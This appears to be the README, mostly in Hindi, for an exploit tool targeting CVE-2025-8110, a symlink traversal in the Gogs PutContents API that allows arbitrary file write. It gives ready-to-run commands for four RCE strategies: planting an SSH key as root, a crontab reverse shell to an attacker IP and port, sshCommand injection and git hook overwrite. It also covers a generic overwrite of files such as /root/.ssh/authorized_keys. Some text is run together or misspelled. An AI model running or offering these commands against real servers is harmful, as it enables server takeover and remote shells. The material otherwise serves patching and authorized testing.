
Gogs Symlink Traversal → RCE
CVE-2025-8110 Gogs (स्व-होस्टेड Git सेवा) संस्करणों <= 0.13.3 में एक महत्वपूर्ण कमजोरी है। PutContents API फ़ाइल पथों को डायरेक्टरी-ट्रैवर्सल (../) के लिए मान्य करती है, लेकिन लिखने से पहले सिम्बोलिक लिंक को नहीं हल करती है। एक प्रमाणित उपयोगकर्ता किसी भी सर्वर फ़ाइल को लक्षित करने वाली सिम्लिंक वाली कमिट को पुश कर सकता है, फिर उस सिम्लिंक पर PutContents कॉल करके वास्तविक फ़ाइल को हमलावर-नियंत्रित सामग्री से अधिलेखित कर सकता है।
यह पहले के CVE-2024-55947 फिक्स को बायपास करता है, जिसने केवल प्रत्यक्ष पथ ट्रैवर्सल को संबोधित किया था, लेकिन सिमलिंक-आधारित ट्रैवर्सल को नहीं।
| विवरण | मान |
|---|---|
| CVE | CVE-2025-8110 |
| प्रभावित | Gogs <= 0.13.3 |
| ठीक किया गया | Gogs 0.13.4 |
| प्रकार | प्रमाणित मनमाना फ़ाइल लेखन → RCE |
| CVSS | 8.8 (उच्च) |
| घटक | PutContents API (/api/v1/repos/:owner/:repo/contents/:path) |
requests (pip install requests)git CLIयह एक्सप्लॉइट 4 बिल्ट-इन RCE रणनीतियों और एक सामान्य फ़ाइल लेखन मोड का समर्थन करता है:
# Check if target is vulnerable (no credentials needed)
python3 exploit.py http://target:3000 --check-only
# Strategy A: Plant SSH key for root access
python3 exploit.py http://target:3000 -u user -p pass \
--rce-keys ~/.ssh/id_rsa.pub --cleanup
# Strategy B: Crontab reverse shell
python3 exploit.py http://target:3000 -u user -p pass \
--rce-cron --lhost 10.10.14.5 --lport 4444
# Strategy C: sshCommand injection
python3 exploit.py http://target:3000 -u user -p pass \
--rce-ssh --lhost 10.10.14.5 --lport 4444
# Strategy D: Git hook injection
python3 exploit.py http://target:3000 -u user -p pass \
--rce-hook --lhost 10.10.14.5 --lport 4444
# Generic file write
python3 exploit.py http://target:3000 -u user -p pass \
--write --target-file /tmp/pwned --content "proof-of-concept"
# Write from local file
python3 exploit.py http://target:3000 -u user -p pass \
--write --target-file /root/.ssh/authorized_keys \
--content-file ~/.ssh/id_rsa.pub
POST /api/v1/users/:user/tokens) - API टोकन के माध्यम से लॉगिन (Basic Auth)POST /api/v1/user/repos with auto_init: true (POST /api/v1/user/repos (auto_init))PUT /api/v1/repos/:owner/:repo/contents/:link। Gogs डिस्क पर सिमलिंक को हल करता है और वास्तविक फ़ाइल में लिखता है (PUT /api/v1/repos/.../contents/linkn_ame)target Gogs base URL (e.g. http://target:3000)
Authentication:
-u, --user Gogs username
-p, --password Gogs password
RCE Strategies:
--rce-keys PUBKEY Plant SSH pubkey → /root/.ssh/authorized_keys
--rce-cron Reverse shell → /etc/crontab
--rce-ssh Poison .git/config sshCommand + trigger
--rce-hook Overwrite pre-receive hook + trigger
--write Generic arbitrary file write
Connection / Payload:
--lhost LHOST Attacker IP for reverse shell
--lport LPORT Attacker port for reverse shell
--target-file PATH Server path to overwrite (--write mode)
--content STRING Content to write
--content-file FILE Local file to write
Options:
--repo NAME Repository name (default: random)
--cleanup Delete exploit repo after completion
-o, --output FILE Report file (default: loot.json)
--timeout SECONDS Request timeout (default: 15)
--proxy URL HTTP proxy for debugging
--check-only Only check if target is Gogs, don't exploit
यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम में अनधिकृत पहुंच अवैध है। लेखक दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है। केवल उन सिस्टम पर उपयोग करें जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है।
| रणनीति | फ़्लैग | लक्ष्य फ़ाइल | ट्रिगर |
|---|
| A — SSH कुंजियाँ | --rce-keys | /root/.ssh/authorized_keys | SSH लॉगिन |
| B — Crontab | --rce-cron | /etc/crontab | स्वचालित (60 सेकंड के भीतर) |
| C — sshCommand | --rce-ssh | .git/config | SSH git संचालन |
| D — Git हुक | --rce-hook | hooks/pre-receive | git push |
| सामान्य | --write | Any path | मैन्युअल |